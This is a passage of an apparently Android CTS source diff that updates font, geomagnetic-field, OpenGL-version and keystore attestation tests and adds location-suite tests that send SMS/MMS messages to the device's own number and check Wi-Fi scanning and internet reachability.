+        // - a3em.ttf with weight = 400, style=normal configuration.
+        //   This font supports "a", "b", "c". The weight "a" is 3em, others are 1em.
+        // - b3em.ttf with weight = 400, style=italic configuration.
+        //   This font supports "a", "b", "c". The weight "b" is 3em, others are 1em.
+        // - c3em.ttf with weight = 700, style=italic configuration.
+        //   This font supports "a", "b", "c". The weight "c" is 3em, others are 1em.
+        final Typeface family = mContext.getResources().getFont(R.font.multistyle_family);
+        assertNotNull(family);
+
+        final Paint paint = new Paint();
+        // By default, the normal style font which weight is 400 is selected.
+        paint.setTypeface(family);
+        assertEquals(GLYPH_3EM_WIDTH, paint.measureText("a"), 0f);
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+        // Draw with the italic font.
+        paint.setTypeface(Typeface.create(family, 400 /* weight */, true /* italic */));
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+        assertEquals(GLYPH_3EM_WIDTH, paint.measureText("b"), 0f);
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+        // Draw with the italic font which weigth is 700.
+        paint.setTypeface(Typeface.create(family, 700 /* weight */, true /* italic */));
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+        assertEquals(GLYPH_3EM_WIDTH, paint.measureText("c"), 0f);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java b/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java
index 75d7b7c..8968442 100644
--- a/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java
@@ -23,26 +23,79 @@
 import java.util.GregorianCalendar;
 
 public class GeomagneticFieldTest extends AndroidTestCase {
-    // Chengdu: Latitude 30d 40' 12", Longitude 104d 3' 36"
-    private static final float LATITUDE_OF_CHENGDU = 30.67f;
-    private static final float LONGITUDE_OF_CHENGDU = 104.06f;
-    private static final float ALTITUDE_OF_CHENGDU = 500f;
-    private static final long TEST_TIME = new GregorianCalendar(2010, 5, 1).getTimeInMillis();
+    private static final float DECLINATION_THRESHOLD = 0.1f;
+    private static final float INCLINATION_THRESHOLD = 0.1f;
+    private static final float FIELD_STRENGTH_THRESHOLD = 100;
 
     @Presubmit
     public void testGeomagneticField() {
-        GeomagneticField geomagneticField = new GeomagneticField(LATITUDE_OF_CHENGDU,
-                LONGITUDE_OF_CHENGDU, ALTITUDE_OF_CHENGDU, TEST_TIME);
+        // Reference values calculated from NOAA online calculator for WMM 2015
+        // https://www.ngdc.noaa.gov/geomag-web/#igrfwmm
+        TestDataPoint testPoints[] = new TestDataPoint[] {
+            // Mountain View, CA, USA on 2017/1/1
+            new TestDataPoint(37.386f, -122.083f, 32, 2017, 1, 1,
+                    13.4589f, 60.9542f, 48168.0f),
+            // Chengdu, China on 2017/8/8
+            new TestDataPoint(30.658f, 103.935f, 500f, 2017, 8, 8,
+                    -1.9784f, 47.9723f, 50717.3f),
+            // Sao Paulo, Brazil on 2018/12/25
+            new TestDataPoint(-23.682f, -46.875f, 760f, 2018, 12, 25,
+                    -21.3130f, -37.9940f, 22832.3f),
+            // Boston, MA, USA on 2019/2/10
+            new TestDataPoint(42.313f, -71.127f, 43f, 2019, 2, 10,
+                    -14.5391f, 66.9693f, 51815.1f),
+            // Cape Town, South Africa on 2019/5/1
+            new TestDataPoint(-33.913f, 18.095f, 100f, 2019, 5, 1,
+                    -25.2454f, -65.8887f, 25369.2f),
+            // Sydney, Australia on 2020/1/1
+            new TestDataPoint(-33.847f, 150.791f, 19f, 2020, 1, 1,
+                    12.4469f, -64.3443f, 57087.9f)
+        };
 
-        // Reference values calculated from NOAA online calculator for WMM 2010,
-        // and cross-checked in Matlab. The expected deltas are proportional to the
-        // magnitude of each value.
-        assertEquals(-1.867f, geomagneticField.getDeclination(), 0.1f);
-        assertEquals(47.133f, geomagneticField.getInclination(), 1.0f);
-        assertEquals(50375.6f, geomagneticField.getFieldStrength(), 100.0f);
-        assertEquals(34269.3f, geomagneticField.getHorizontalStrength(), 100.0f);
-        assertEquals(34251.2f, geomagneticField.getX(), 100.0f);
-        assertEquals(-1113.2f, geomagneticField.getY(), 10.0f);
-        assertEquals(36923.1f, geomagneticField.getZ(), 100.0f);
+        for (TestDataPoint t : testPoints) {
+            GeomagneticField field =
+                    new GeomagneticField(t.latitude, t.longitude, t.altitude, t.epochTimeMillis);
+            assertEquals(t.declinationDegree,  field.getDeclination(), DECLINATION_THRESHOLD);
+            assertEquals(t.inclinationDegree,  field.getInclination(), INCLINATION_THRESHOLD);
+            assertEquals(t.fieldStrengthNanoTesla, field.getFieldStrength(),
+                    FIELD_STRENGTH_THRESHOLD);
+
+            float horizontalFieldStrengthNanoTesla = (float)(
+                    Math.cos(Math.toRadians(t.inclinationDegree)) * t.fieldStrengthNanoTesla);
+            assertEquals(horizontalFieldStrengthNanoTesla, field.getHorizontalStrength(),
+                    FIELD_STRENGTH_THRESHOLD);
+
+            float verticalFieldStrengthNanoTesla = (float)(
+                    Math.sin(Math.toRadians(t.inclinationDegree)) * t.fieldStrengthNanoTesla);
+            assertEquals(verticalFieldStrengthNanoTesla, field.getZ(), FIELD_STRENGTH_THRESHOLD);
+
+            float declinationDegree = (float)(
+                    Math.toDegrees(Math.atan2(field.getY(), field.getX())));
+            assertEquals(t.declinationDegree, declinationDegree, DECLINATION_THRESHOLD);
+            assertEquals(horizontalFieldStrengthNanoTesla,
+                    Math.sqrt(field.getX() * field.getX() + field.getY() * field.getY()),
+                    FIELD_STRENGTH_THRESHOLD);
+        }
+    }
+
+    private class TestDataPoint {
+        public final float latitude;
+        public final float longitude;
+        public final float altitude;
+        public final long epochTimeMillis;
+        public final float declinationDegree;
+        public final float inclinationDegree;
+        public final float fieldStrengthNanoTesla;
+
+        TestDataPoint(float lat, float lng, float alt, int year, int month, int day,
+                float dec, float inc, float strength) {
+            latitude = lat;
+            longitude = lng;
+            altitude = alt;
+            epochTimeMillis = new GregorianCalendar(year, month, day).getTimeInMillis();
+            declinationDegree = dec;
+            inclinationDegree = inc;
+            fieldStrengthNanoTesla = strength;
+        }
     }
 }
diff --git a/tests/tests/hardware/src/android/hardware/cts/GlUtils.java b/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
index 81628d4..bd5cecb 100644
--- a/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
+++ b/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
@@ -17,6 +17,7 @@
 package android.hardware.cts;
 
 import android.opengl.GLES20;
+import android.util.Pair;
 
 import java.util.Arrays;
 import java.util.regex.Matcher;
@@ -27,6 +28,10 @@
     }
 
     static int getMajorVersion() {
+        return getVersion().first;
+    }
+
+    static Pair<Integer, Integer> getVersion() {
         // Section 6.1.5 of the OpenGL ES specification indicates the GL version
         // string strictly follows this format:
         //
@@ -42,9 +47,10 @@
         Pattern pattern = Pattern.compile("OpenGL ES ([0-9]+)\\.([0-9]+)");
         Matcher matcher = pattern.matcher(version);
         if (matcher.find()) {
-            return Integer.parseInt(matcher.group(1));
+            return new Pair<>(
+                    Integer.parseInt(matcher.group(1)), Integer.parseInt(matcher.group(2)));
         }
-        return 2;
+        return new Pair<>(2, 0);
     }
 
     static String[] getExtensions() {
diff --git a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
index 5ea845a..6276959 100644
--- a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
@@ -24,6 +24,7 @@
 import android.opengl.EGLSurface;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
+import android.util.Pair;
 import org.junit.BeforeClass;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -70,8 +71,10 @@
             }, 0);
             EGL14.eglMakeCurrent(eglDisplay, eglSurface, eglSurface, eglContext);
 
-            sHasFloatBuffers = GlUtils.getMajorVersion() >= 3 ||
-                    GlUtils.hasExtensions("GL_OES_texture_half_float",
+            Pair<Integer, Integer> version = GlUtils.getVersion();
+            sHasFloatBuffers = (version.first >= 3 && version.second >= 2) ||
+                    GlUtils.hasExtensions(
+                            "GL_OES_texture_half_float",
                             "GL_OES_texture_half_float_linear");
 
             EGL14.eglMakeCurrent(eglDisplay, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index d901690..0342f08 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -62,6 +62,9 @@
 import android.test.AndroidTestCase;
 import android.util.ArraySet;
 
+import com.android.org.bouncycastle.asn1.x500.X500Name;
+import com.android.org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
+
 import java.security.GeneralSecurityException;
 import java.security.InvalidAlgorithmParameterException;
 import java.security.InvalidKeyException;
@@ -70,6 +73,7 @@
 import java.security.NoSuchAlgorithmException;
 import java.security.NoSuchProviderException;
 import java.security.ProviderException;
+import java.security.PublicKey;
 import java.security.SignatureException;
 import java.security.cert.Certificate;
 import java.security.cert.CertificateException;
@@ -422,7 +426,7 @@
 
         try {
             Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
-            verifyCertificateSignatures(certificates);
+            verifyCertificateChain(certificates);
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
             Attestation attestation = new Attestation(attestationCert);
@@ -476,7 +480,7 @@
 
         try {
             Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
-            verifyCertificateSignatures(certificates);
+            verifyCertificateChain(certificates);
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
             Attestation attestation = new Attestation(attestationCert);
@@ -876,12 +880,36 @@
         keyPairGenerator.generateKeyPair();
     }
 
-    private void verifyCertificateSignatures(Certificate[] certChain)
+    private void verifyCertificateChain(Certificate[] certChain)
             throws GeneralSecurityException {
         assertNotNull(certChain);
         for (int i = 1; i < certChain.length; ++i) {
             try {
-                certChain[i - 1].verify(certChain[i].getPublicKey());
+                PublicKey pubKey = certChain[i].getPublicKey();
+                certChain[i - 1].verify(pubKey);
+                if (i == certChain.length - 1) {
+                    // Last cert should be self-signed.
+                    certChain[i].verify(pubKey);
+                }
+
+                // Check that issuer in the signed cert matches subject in the signing cert.
+                X509Certificate x509CurrCert = (X509Certificate) certChain[i];
+                X509Certificate x509PrevCert = (X509Certificate) certChain[i - 1];
+                X500Name signingCertSubject =
+                        new JcaX509CertificateHolder(x509CurrCert).getSubject();
+                X500Name signedCertIssuer =
+                        new JcaX509CertificateHolder(x509PrevCert).getIssuer();
+                // Use .toASN1Object().equals() rather than .equals() because .equals() is case
+                // insensitive, and we want to verify an exact match.
+                assertTrue(
+                        signedCertIssuer.toASN1Object().equals(signingCertSubject.toASN1Object()));
+
+                if (i == 1) {
+                    // First cert should have subject "CN=Android Keystore Key".
+                    X500Name signedCertSubject =
+                            new JcaX509CertificateHolder(x509PrevCert).getSubject();
+                    assertEquals(signedCertSubject, new X500Name("CN=Android Keystore Key"));
+                }
             } catch (InvalidKeyException | CertificateException | NoSuchAlgorithmException
                     | NoSuchProviderException | SignatureException e) {
                 throw new GeneralSecurityException("Failed to verify certificate "
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index a0b8142..b6cb20d 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -26,6 +26,8 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
+LOCAL_JAVA_LIBRARIES := telephony-common
+
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util ctstestrunner apache-commons-math
 
@@ -50,6 +52,8 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
+LOCAL_JAVA_LIBRARIES := telephony-common
+
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner  apache-commons-math
 
 LOCAL_PROTOC_OPTIMIZE_TYPE := nano
diff --git a/tests/tests/location/AndroidManifest.xml b/tests/tests/location/AndroidManifest.xml
index 1357a38..6e3bbf1 100644
--- a/tests/tests/location/AndroidManifest.xml
+++ b/tests/tests/location/AndroidManifest.xml
@@ -28,9 +28,15 @@
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.INTERNET" />
 
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.SEND_SMS" />
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.location.cts"
                      android:label="CTS tests of android.location">
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
new file mode 100644
index 0000000..d7dbc89
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
@@ -0,0 +1,333 @@
+package android.location.cts;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.telephony.SmsManager;
+import android.telephony.TelephonyManager;
+import android.test.AndroidTestCase;
+import android.text.TextUtils;
+import android.util.Log;
+
+import com.google.android.mms.ContentType;
+import com.google.android.mms.InvalidHeaderValueException;
+import com.google.android.mms.pdu.CharacterSets;
+import com.google.android.mms.pdu.EncodedStringValue;
+import com.google.android.mms.pdu.GenericPdu;
+import com.google.android.mms.pdu.PduBody;
+import com.google.android.mms.pdu.PduComposer;
+import com.google.android.mms.pdu.PduHeaders;
+import com.google.android.mms.pdu.PduParser;
+import com.google.android.mms.pdu.PduPart;
+import com.google.android.mms.pdu.SendConf;
+import com.google.android.mms.pdu.SendReq;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test sending SMS and MMS using {@link android.telephony.SmsManager}.
+ */
+public class EmergencyCallMessageTest extends GnssTestCase {
+
+    private static final String TAG = "EmergencyCallMSGTest";
+
+    private static final String ACTION_MMS_SENT = "CTS_MMS_SENT_ACTION";
+    private static final long DEFAULT_EXPIRY_TIME_SECS = TimeUnit.DAYS.toSeconds(7);
+    private static final long MMS_CONFIG_DELAY_MILLIS = TimeUnit.SECONDS.toMillis(1);
+    private static final int DEFAULT_PRIORITY = PduHeaders.PRIORITY_NORMAL;
+    private static final short DEFAULT_DATA_SMS_PORT = 8091;
+    private static final String PHONE_NUMBER_KEY = "android.cts.emergencycall.phonenumber";
+    private static final String SUBJECT = "CTS Emergency Call MMS Test";
+    private static final String MMS_MESSAGE_BODY = "CTS Emergency Call MMS test message body";
+    private static final String SMS_MESSAGE_BODY = "CTS Emergency Call Sms test message body";
+    private static final String SMS_DATA_MESSAGE_BODY =
+        "CTS Emergency Call Sms data test message body";
+    private static final String TEXT_PART_FILENAME = "text_0.txt";
+    private static final String SMIL_TEXT =
+            "<smil>" +
+                    "<head>" +
+                        "<layout>" +
+                            "<root-layout/>" +
+                            "<region height=\"100%%\" id=\"Text\" left=\"0%%\" top=\"0%%\" width=\"100%%\"/>" +
+                        "</layout>" +
+                    "</head>" +
+                    "<body>" +
+                        "<par dur=\"8000ms\">" +
+                            "<text src=\"%s\" region=\"Text\"/>" +
+                        "</par>" +
+                    "</body>" +
+            "</smil>";
+
+    private static final long SENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5); // 5 minutes
+
+    private static final String PROVIDER_AUTHORITY = "emergencycallverifier";
+
+    private Random mRandom;
+    private SentReceiver mSentReceiver;
+    private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
+
+    private static class SentReceiver extends BroadcastReceiver {
+        private boolean mSuccess;
+        private boolean mDone;
+        private final CountDownLatch mLatch;
+        public SentReceiver() {
+            mLatch =  new CountDownLatch(1);
+            mSuccess = false;
+            mDone = false;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            Log.i(TAG, "Action " + intent.getAction());
+            if (!ACTION_MMS_SENT.equals(intent.getAction())) {
+                return;
+            }
+            final int resultCode = getResultCode();
+            if (resultCode == Activity.RESULT_OK) {
+                final byte[] response = intent.getByteArrayExtra(SmsManager.EXTRA_MMS_DATA);
+                if (response != null) {
+                    final GenericPdu pdu = new PduParser(
+                            response, shouldParseContentDisposition()).parse();
+                    if (pdu != null && pdu instanceof SendConf) {
+                        final SendConf sendConf = (SendConf) pdu;
+                        if (sendConf.getResponseStatus() == PduHeaders.RESPONSE_STATUS_OK) {
+                            mSuccess = true;
+                        } else {
+                            Log.e(TAG, "SendConf response status=" + sendConf.getResponseStatus());
+                        }
+                    } else {
+                        Log.e(TAG, "Not a SendConf: " +
+                                (pdu != null ? pdu.getClass().getCanonicalName() : "NULL"));
+                    }
+                } else {
+                    Log.e(TAG, "Empty response");
+                }
+            } else {
+                Log.e(TAG, "Failure result=" + resultCode);
+                if (resultCode == SmsManager.MMS_ERROR_HTTP_FAILURE) {
+                    final int httpError = intent.getIntExtra(SmsManager.EXTRA_MMS_HTTP_STATUS, 0);
+                    Log.e(TAG, "HTTP failure=" + httpError);
+                }
+            }
+            mDone = true;
+            mLatch.countDown();
+        }
+
+        public boolean waitForSuccess(long timeoutMs) throws Exception {
+            mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            Log.i(TAG, "Wait for sent: done=" + mDone + ", success=" + mSuccess);
+            return mDone && mSuccess;
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mRandom = new Random(System.currentTimeMillis());
+        mTelephonyManager =
+                (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+        mPackageManager = mContext.getPackageManager();
+    }
+
+    public void testSendSmsMessage() {
+        // this test is only for cts verifier
+        if (!isCtsVerifierTest()) {
+            return;
+        }
+        SmsManager smsManager = SmsManager.getDefault();
+        final String selfNumber = getPhoneNumber(mContext);
+        smsManager.sendTextMessage(selfNumber, null, SMS_MESSAGE_BODY, null, null);
+    }
+
+    public void testSendSmsDataMessage() {
+        // this test is only for cts verifier
+        if (!isCtsVerifierTest()) {
+            return;
+        }
+        SmsManager smsManager = SmsManager.getDefault();
+        final String selfNumber = getPhoneNumber(mContext);
+        smsManager.sendDataMessage(selfNumber, null, DEFAULT_DATA_SMS_PORT,
+            SMS_DATA_MESSAGE_BODY.getBytes(), null, null);
+    }
+
+    public void testSendMmsMessage() throws Exception {
+        // this test is only for cts verifier
+        if (!isCtsVerifierTest()) {
+            return;
+        }
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+             || !doesSupportMMS()) {
+            Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
+            return;
+        }
+
+        Log.i(TAG, "testSendMmsMessage");
+        // Prime the MmsService so that MMS config is loaded
+        final SmsManager smsManager = SmsManager.getDefault();
+        // MMS config is loaded asynchronously. Wait a bit so it will be loaded.
+        try {
+            Thread.sleep(MMS_CONFIG_DELAY_MILLIS);
+        } catch (InterruptedException e) {
+            // Ignore
+        }
+
+        final Context context = getContext();
+        // Register sent receiver
+        mSentReceiver = new SentReceiver();
+        context.registerReceiver(mSentReceiver, new IntentFilter(ACTION_MMS_SENT));
+        // Create local provider file for sending PDU
+        final String fileName = "send." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
+        final File sendFile = new File(context.getCacheDir(), fileName);
+        final String selfNumber = getPhoneNumber(context);
+        assertTrue(!TextUtils.isEmpty(selfNumber));
+        final byte[] pdu = buildPdu(context, selfNumber, SUBJECT, MMS_MESSAGE_BODY);
+        assertNotNull(pdu);
+        assertTrue(writePdu(sendFile, pdu));
+        final Uri contentUri = (new Uri.Builder())
+                .authority(PROVIDER_AUTHORITY)
+                .path(fileName)
+                .scheme(ContentResolver.SCHEME_CONTENT)
+                .build();
+        // Send
+        final PendingIntent pendingIntent = PendingIntent.getBroadcast(
+                context, 0, new Intent(ACTION_MMS_SENT), 0);
+        smsManager.sendMultimediaMessage(context,
+                contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
+        assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT_MILLIS));
+        sendFile.delete();
+    }
+
+    private static boolean writePdu(File file, byte[] pdu) {
+        FileOutputStream writer = null;
+        try {
+            writer = new FileOutputStream(file);
+            writer.write(pdu);
+            return true;
+        } catch (final IOException e) {
+            String stackTrace = Log.getStackTraceString(e);
+            Log.i(TAG, stackTrace);
+            return false;
+        } finally {
+            if (writer != null) {
+                try {
+                    writer.close();
+                } catch (IOException e) {
+                }
+            }
+        }
+    }
+
+    private static byte[] buildPdu(Context context, String selfNumber, String subject,
+       String text) {
+        final SendReq req = new SendReq();
+        // From, per spec
+        req.setFrom(new EncodedStringValue(selfNumber));
+        // To
+        final String[] recipients = new String[1];
+        recipients[0] = selfNumber;
+        final EncodedStringValue[] encodedNumbers = EncodedStringValue.encodeStrings(recipients);
+        if (encodedNumbers != null) {
+            req.setTo(encodedNumbers);
+        }
+        // Subject
+        if (!TextUtils.isEmpty(subject)) {
+            req.setSubject(new EncodedStringValue(subject));
+        }
+        // Date
+        req.setDate(System.currentTimeMillis() / 1000);
+        // Body
+        final PduBody body = new PduBody();
+        // Add text part. Always add a smil part for compatibility, without it there
+        // may be issues on some carriers/client apps
+        final int size = addTextPart(body, text, true/* add text smil */);
+        req.setBody(body);
+        // Message size
+        req.setMessageSize(size);
+        // Message class
+        req.setMessageClass(PduHeaders.MESSAGE_CLASS_PERSONAL_STR.getBytes());
+        // Expiry
+        req.setExpiry(DEFAULT_EXPIRY_TIME_SECS);
+        // The following set methods throw InvalidHeaderValueException
+        try {
+            // Priority
+            req.setPriority(DEFAULT_PRIORITY);
+            // Delivery report
+            req.setDeliveryReport(PduHeaders.VALUE_NO);
+            // Read report
+            req.setReadReport(PduHeaders.VALUE_NO);
+        } catch (InvalidHeaderValueException e) {
+            return null;
+        }
+
+        return new PduComposer(context, req).make();
+    }
+
+    private static int addTextPart(PduBody pb, String message, boolean addTextSmil) {
+        final PduPart part = new PduPart();
+        // Set Charset if it's a text media.
+        part.setCharset(CharacterSets.UTF_8);
+        // Set Content-Type.
+        part.setContentType(ContentType.TEXT_PLAIN.getBytes());
+        // Set Content-Location.
+        part.setContentLocation(TEXT_PART_FILENAME.getBytes());
+        int index = TEXT_PART_FILENAME.lastIndexOf(".");
+        String contentId = (index == -1) ? TEXT_PART_FILENAME
+                : TEXT_PART_FILENAME.substring(0, index);
+        part.setContentId(contentId.getBytes());
+        part.setData(message.getBytes());
+        pb.addPart(part);
+        if (addTextSmil) {
+            final String smil = String.format(SMIL_TEXT, TEXT_PART_FILENAME);
+            addSmilPart(pb, smil);
+        }
+        return part.getData().length;
+    }
+
+    private static void addSmilPart(PduBody pb, String smil) {
+        final PduPart smilPart = new PduPart();
+        smilPart.setContentId("smil".getBytes());
+        smilPart.setContentLocation("smil.xml".getBytes());
+        smilPart.setContentType(ContentType.APP_SMIL.getBytes());
+        smilPart.setData(smil.getBytes());
+        pb.addPart(0, smilPart);
+    }
+
+    private static String getPhoneNumber(Context context) {
+        final TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(
+                Context.TELEPHONY_SERVICE);
+        String phoneNumber = telephonyManager.getLine1Number();
+        if (phoneNumber.trim().isEmpty()) {
+            phoneNumber = System.getProperty(PHONE_NUMBER_KEY);
+        }
+        return phoneNumber;
+    }
+
+    private static boolean shouldParseContentDisposition() {
+        return SmsManager
+                .getDefault()
+                .getCarrierConfigValues()
+                .getBoolean(SmsManager.MMS_CONFIG_SUPPORT_MMS_CONTENT_DISPOSITION, true);
+    }
+
+    private static boolean doesSupportMMS() {
+        return SmsManager
+                .getDefault()
+                .getCarrierConfigValues()
+                .getBoolean(SmsManager.MMS_CONFIG_MMS_ENABLED, true);
+    }
+
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
new file mode 100644
index 0000000..7ebb04a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiInfo;
+import android.telephony.TelephonyManager;
+import android.net.wifi.WifiManager;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * This class is used to test Wifi realted features.
+ */
+public class EmergencyCallWifiTest extends GnssTestCase {
+
+    private final static String TAG = EmergencyCallWifiTest.class.getCanonicalName();
+    private final static String LATCH_NAME = "EmergencyCallWifiTest";
+    private final static String GOOGLE_URL = "www.google.com";
+    private final static int WEB_PORT = 80;
+    private static final int BATCH_SCAN_BSSID_LIMIT = 25;
+    private static final int WIFI_SCAN_TIMEOUT_SEC = 30;
+    private static final long SETTINGS_PERIOD_MS = TimeUnit.SECONDS.toMillis(4);
+    private static final long INTERNET_CONNECTION_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+    private static final int MIN_SCAN_COUNT = 1;
+
+    private WifiManager mWifiManager;
+    private Context mContext;
+    private WifiScanReceiver mWifiScanReceiver;
+    private int mScanCounter = 0;
+    private CountDownLatch mLatch;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mContext = getContext();
+        mWifiManager = (WifiManager) mContext.getSystemService(mContext.WIFI_SERVICE);
+        mWifiScanReceiver = new WifiScanReceiver();
+    }
+
+    public void testWifiScan() throws Exception {
+        mContext.registerReceiver(mWifiScanReceiver, new IntentFilter(
+                WifiManager.SCAN_RESULTS_AVAILABLE_ACTION));
+        mLatch = new CountDownLatch(1);
+        mWifiManager.startScan();
+        Log.d(TAG, "Waiting for wifiScan to complete.");
+        mLatch.await(WIFI_SCAN_TIMEOUT_SEC, TimeUnit.SECONDS);
+        if (mScanCounter < MIN_SCAN_COUNT) {
+            fail(String.format("Expected at least %d scans but only %d scans happened",
+            MIN_SCAN_COUNT, mScanCounter));
+        }
+    }
+
+    public void testWifiConnection() {
+        boolean isReachable =
+            isReachable(GOOGLE_URL, WEB_PORT, (int)INTERNET_CONNECTION_TIMEOUT);
+        assertTrue("Can not connect to google.com."
+         + " Please make sure device has the internet connection", isReachable);
+    }
+
+    private static boolean isReachable(String addr, int openPort, int timeOutMillis) {
+        try {
+            try (Socket soc = new Socket()) {
+                soc.connect(new InetSocketAddress(addr, openPort), timeOutMillis);
+            }
+            return true;
+        } catch (IOException ex) {
+            return false;
+        }
+    }
+
+    private class WifiScanReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context c, Intent intent) {
+            List <ScanResult> scanResults = mWifiManager.getScanResults();
+            Log.d(TAG, String.format("Got scan results with size %d", scanResults.size()));
+            for (ScanResult result : scanResults) {
+                Log.d(TAG, result.toString());
+            }
+            mScanCounter++;
+            mLatch.countDown();
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java b/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
new file mode 100644
index 0000000..cd230d5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+/**
+ * Test the "gps" location output works through various rate changes
+ *
+ * Tests:
+ * 1. Toggle through various rates.
